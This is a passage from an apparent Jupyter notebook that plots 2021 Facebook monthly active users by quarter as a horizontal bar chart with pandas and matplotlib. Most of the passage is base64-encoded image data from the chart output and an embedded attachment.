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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd # import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "# reading the csv file \n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB1.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "#making a dataframe\n", + "df = pd.DataFrame(stats)\n", + "\n", + "#get x list\n", + "x = list(df.iloc[:, 0])\n", + "#get y list\n", + "y = list(df.iloc[:, 1])\n", + "#colors of bars\n", + "c = ['r','r','r','r','g','g','g','g','b','b','b','b','k','k','k','k']\n", + "\n", + "#plotting the bars\n", + "plt.figure(figsize=(30,20))\n", + "plt.title(\"Total Facebook users 2021*\") #select a title for bar\n", + "plt.xlabel(\"Monthly_active_users(millions)\") #select a x label\n", + "plt.ylabel(\"Quarter\") #select a y label\n", + "\n", + "plt.grid(axis='x', color='r')\n", + "plt.barh(x, y, color=c) #plotting a horizantal graph\n", + "plt.show() # show the bar" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAVIAAAFSCAYAAACg1VfvAAAgAElEQVR4AeydBXhVx/b2A1Gk1+/3v9oiIW4nx+IJLsFdahRKnQItheLuXqBG3W6Flra4e4Hi7lpaWjTueb/nXbPnnJ2QUKhLzsNi9p49s2XkN2vWSDxQ8atIgYoUqEiBihT4Xing8b1iV0SuSIGKFKhIgYoUQAVIf/WFoAgApeJXkQIVKfBzpUAFSH+ulP+BnltcXFguSIuLi3+gp1TcpiIFKlLgRilQAdIbpc6v4prWSEu7v4qXr3jJihT4TaRABUh/9dlYGqD6/Ff/YRUfUJECv5oUqADpLzyr2D2/kdA+yu69WZTNVANVu7/wD614vYoU+BWnQAVIf+GZV1hYiBsJAVpUVCBSWJjvOnbbTitA+gvP4orX+w2kQAVIf6JM1Frl9Y9ToCMMzdql1ioZr6CA14Dc3FzRTglW/i5evCiQzcvLQ35+vhzr+xCq+h7KlSgV/1WkwC82BYqKikDhT7v6ZfU560Ppn75WOp72Z93QP3N883HpuKWvlRVf+9GtAKk5NX6GYzPwdPdcA5UuC4MGKV+P51lZWdi1axdOnz4t8KS/1lpVGAXlCpD+DBla8cjvlAKlwcVzs3ynmwJyD8bVUOUx78tz/Uztmp+hn63jmsPrcOb7VIBUp8rP5pbUSDX8mHEEqM5QnZHZ2blYtGgJ1q5dj/z8QvD8m28ugQ01w1DUT9lO9f3c7s/2